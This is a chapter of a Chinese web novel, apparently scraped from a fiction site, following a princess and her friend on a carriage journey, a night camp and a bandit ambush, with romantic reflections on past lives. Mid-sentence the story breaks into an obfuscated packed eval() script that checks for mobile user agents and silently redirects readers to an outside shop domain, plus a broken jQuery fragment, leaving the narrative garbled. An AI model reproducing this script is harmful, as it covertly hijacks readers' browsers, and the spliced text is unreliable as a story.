文趣网 > 其他小说 > 反派他似乎暗恋我 > 28.插曲(一更)
    经过这一小插曲,谢令姝和虞俏二人才上至马车,殿中的丫鬟小厮个个都非常不舍,眼含热泪嘱咐她们二人路途平安顺遂。

    自从虞俏落水醒后,对待府中的下人从不苛刻,甚至“与民同乐”,因此府中上下都非常喜爱这位郡主,虞俏走后他们心中也是万般不舍。

    这趟旅途极其颠簸漫长,好在谢令姝不是孤身一人,身侧还有虞俏一股脑叽里咕噜说着新鲜事。

    什么王公子去风月楼被他夫人逮住,就是柳公子拖欠他人钱财被揍了数顿,脸都肿成猪头了。

    她描绘的绘声绘色还为其配上手部动作,成功逗笑了谢令姝。

    这一路,都是欢声笑语的。

    谢令姝:“好啦,先好好休息吧,此次路途约莫三四日,留存好体力。”

    虞俏这才安分坐回榻上,小声嘀咕说了句,“哦,还挺像我那个阿嬷的。”

    但因为外面风声呼呼,谢令姝并没有听太清楚,只是无声笑笑。

    “临走时,我安插了眼线在皇宫内,帮我盯着李公公的一举一动,眼下我也能稍稍放心。”

    “果然当太监的都不是什么好胚子!我昨日瞧见那李公公贼眉鼠眼,面向来看就不太像好人。”

    虞俏回忆了下李公公那副嘴脸,被吓得哆嗦了一下,“我可不想被这种人缠上,怪可怕的。”

    “或许太监这个位置呆久了,总怕自己面临着砍头的风险,所以想攀附权贵往上再爬爬,”谢令姝一顿,眼神逐渐冰冷,“可惜他的算盘落在我头上了。”

    虞俏点头,觉得不无道理,“不过我觉得太傅才是终极大boss,在小说中,你皇兄死后,李公公也离奇死亡,倒像是当了别人的嫁衣。”

    谢令姝讶然道:“太傅竟如此心狠?那他儿子呢?”

    虞俏刚要回答,却不料马车踩中石子,马车晃动,连带着她们二人也随之滑了一下身子。

    谢令姝身子稳住后,掀开车帘问道:“小春、小卞可是发生了什么?”

    小春回头,知晓刚刚的剧烈颠簸让车里二位受了惊吓,连忙出声安抚道:“殿下,只是马车无意踩中石子,颠簸了一瞬,且放心有小卞在!”

    驾着马车的男人个头不大,身形偏瘦,其面色冷峻,看着不善,这位便是皇宫禁军挑选出来的暗卫,是他皇兄安排在她身边的守卫。

    就是看着不易相处,但想想也是,常年身处禁军部队,接受着严格操练,哪有时间相谈甚欢?

    不过小春怎么笑得这么开心?

    “殿下、郡主,我和你们说小卞可厉害了,和我一样大都已经是禁军里的一环了!”

    谢令姝闻言,意外的挑了下眉,“那我们就不打扰你和小卞了。”

    小春被这么一调侃,也架不住羞红了小脸,她余光撇了下身旁的小卞,男人依旧那副淡漠模样,听到打趣也毫无反应。

    她心下悄悄松了口气。

    两人被这么一小小事件给打岔,都忘记继续方才的话题了。

    许是今日起早了,外面阳光正盛,暖洋洋的日光拂过,让人不免心生困意,虞俏竟打起盹来了。

    马车木座上放置着金丝琉璃软榻,由宫中上好的材质所制作成,舒适感布满全身。

    见虞俏打盹,谢令姝也不再出声,反倒替她盖上毯子,她望着马车车顶,思绪飘远,心中牵起一丝对晏之叙的牵挂。

    也不知渡口河那边情况如何,晏之叙有没有受伤?

    脑子一热,忽然冒出晏之叙有没有想他这一荒诞想法。

    她竟不知何时,如此牵挂他了,如若瘟疫被解决,待回到京中时,她便向其坦明心意。

    其实谢令姝对于爱情这东西并不是很看好,毕竟幼时父母感情不和,对她自然也称不上好,再者穿越到古代,见过无数人的阿谀奉承,那外露真心的皮囊下藏着一张饕餮嘴脸。

    她蓦然记起第二世最后晏之叙是为了救她,惨遭敌军背后暗害。

    这些新鲜却又熟悉的记忆如潮水般涌来,她一愣,总算明白自己第三世结局最后,为何会替晏之叙挡箭了,一报还一报。

    原来,他们之间早早就被红线缠绕着,生生世世无法分离。

    泪水不知何时蓄上眼眶,她强忍着独自消化。

    此刻谢令姝很想冲到晏之叙面前,对他说——

    让你等了这么久,还兀自远离你,谢谢你的坚定。

    人活这一辈子,就是想被人坚定选择一辈子,甚至下下辈子。

    晏之叙恰好就是那个人。

    从此她的心尖上又多了一根线,红线尽头是晏之叙。

    那温润如玉的谦谦君子,算下时日,竟有约莫半月没相间了。

    谢令姝在脑海中细细描摹着那轮廓,以表达思念。

    途中不知何时睡了过去,直至夜晚。

    历经半日的车途劳顿,小卞凭借着往日经验,禀告先原地休息一晚。

    谢令姝想都没想便同意了,虞俏自然也无任何意见。

    夜色沉沉笼罩整片竹林,月色穿过竹叶透着斑驳细碎的银光,晚风掠过,竹叶簌簌作响,四下幽深,偶有虫鸣低低响起,透着几分幽寂。

    谢令姝觉得新奇,曾经在电视剧看到的场景,自己竟然也亲身体验了一番。

    果然古人诚不欺我。

    小卞和小春捆来一堆木柴,打算取火照明,顺道还能烤鱼烤肉。

    篝火熊熊燃起,木柴噼啪作响,点点星火四散飞扬,火光翻涌,暖意融融,明暗光影在地面来回晃动。

    真暖和。

    谢令姝心想。

    她想起在现代颠沛流离的日子,不由得伤感一瞬,眼中划过一丝落寞,但其余三人并未看出来。

    这一晚由小卞看守,方才途中换小春驾车时,小卞就浅眠过,眼下精神抖擞,毫无半分困意。

    原本谢令姝还有些担心小卞一个人吃得消吗,但小卞却喂了颗定心丸,“我曾在军中训练过,这是基操。”

    “噗。”虞俏听见最后一句话,没忍住笑出了声,小卞疑惑望去,似是不懂为何要笑成这副样子。

    谢令姝知晓他们之间的代沟,尴尬摆手,替她解释道:“郡主她想到我白日讲的笑话了。”

    虞俏努力憋住笑,生理泪水坠在眼角,她点点头承认,却没有说话。

    只因她怕自己再笑出声,那就多少有点不尊重人了。

    小卞颔首,不知是信了还是没信,而是转移话题道:“还请殿下和郡主上马车歇息,小春……就在我身侧好了……”

    三人对此并无异议,异口同声说了句好。

    这一晚无任何风波,寂静的竹林偶尔会有动物的叫喊声,但都是在深山老林之中,对她们构不成威胁。

    谢令姝和虞俏两个人白日就已补过觉,现下毫无半分困意,她们透过缝隙瞧见小春正叽叽喳喳同小卞

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17857304|207722||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    讲些什么。

    小卞虽很大应答,但神情专注听她说话。

    “正好啊,还有cp磕。”虞俏戏谑笑着。

    谢令姝也将这一切看在眼中,她忽然将行囊中的一个小暗器拿了出来,将其赠予虞俏,让她防身用。

    这下可把虞俏感动的眼泪直流啊,她拥住谢令姝,感激涕零道:“呜呜呜我的小令姝,你怎么这么好!”

    被发了好人卡的谢令姝也回之甜甜一笑。

    她也不知道为什么,对于虞俏这个女孩,心中有种妈妈对女儿的错觉。

    这个想法刚冒出来,就给她吓了一瞬,若是虞俏知道,定会控诉她。

    “其实想查太傅,可以从他府内的书房暗道查起,我记得小说中提到过这一嘴。”

    虞俏这番话,使谢令姝的探查方向更加明了,等这次瘟疫事件结束,她就孤身去搜查。

    途中虽险,但一切都值得。

    太傅也是千年老狐狸,对于暗道这些肯定小心谨慎,布置机关之类的。

    但未来之事各论天命。

    她觉得自己认识虞俏,简直是人生又一大幸福事。

    谢令姝指尖摩挲着腰间的玉佩,触感极佳,自从对晏之叙的心意不再逃避模糊时,她竟然总把这枚玉佩幻想成晏之叙,用手抚摸时,就如同摸着晏之叙的脸庞。

    她还没摸过晏之叙的脸呢。

    ……

    本以为此次会顺利前往,但天意作祟,谢令姝的马车遭遇土匪劫持。

    其中为首的人面容邪恶,还有一道疤痕刻在脸上,他站立在马车前,威胁道:“车里的人给你爷爷听好了,此树是我开此路是我开……”

    话还没说完,旁边的小弟小声提醒道:“大哥,是此路是我开此树是我栽……”

    那位被称大哥的头头却肘了一下小弟,哼笑道:“都一样!反正要么钱留下,要么命留下!”

    谢令姝听到这番动静,皱着眉掀开车帘,询问小春发生了什么。

    那位头头见车里还有国色天香的美人,顿时心生歹意,“哟,还有这么漂亮的美人在里面呢,你要是跟了我,我保你不愁吃不愁穿!”

    虞俏也跟随其后,听见这番恶祟言论,“呸”了一声,“就你这个啤酒肚,怕是晚上跟别人睡一起都能压死人!”

    头头这下彻底恼了,他骂了一嘴,“丫的,真是给脸不要脸!”

    语毕,指挥身后的一众小弟向前,“给老子上!”

    但谢令姝面色不惧,她偷偷用着袖中的暗器,射向旁边歹徒的小腿处,痛的人嗷嗷直叫。

    小卞和小春见谁靠近就抡谁,小卞速度几块,他用以轻功来至那头头身后,刀刃抵着头头脖颈处,吓得那头头连忙举手投降。

    “让你的人撤了,再敢上前骚扰,我这就取了你的狗命。”

    那头头被吓得小腿直哆嗦,听闻此番言语,连连点头,让那一众小弟停下动作,待小弟们都撤退离开后,小卞才松了刀柄,头头吓得头也不回的跑了。

    解决完烦人的家伙,小卞便来到马车前,小春担心问他有无大碍,其藏了下有擦伤的右手,摇摇头说道没事。

    小春又夸他武艺超群,虞俏看在眼中,手肘了下身侧之人,悄声问道:“小春……是不是跟你学的?”

    谢令姝没想到这口锅能盖在她头上,“怎么可能?”

    两人嬉笑上了马车,车继续向前行驶。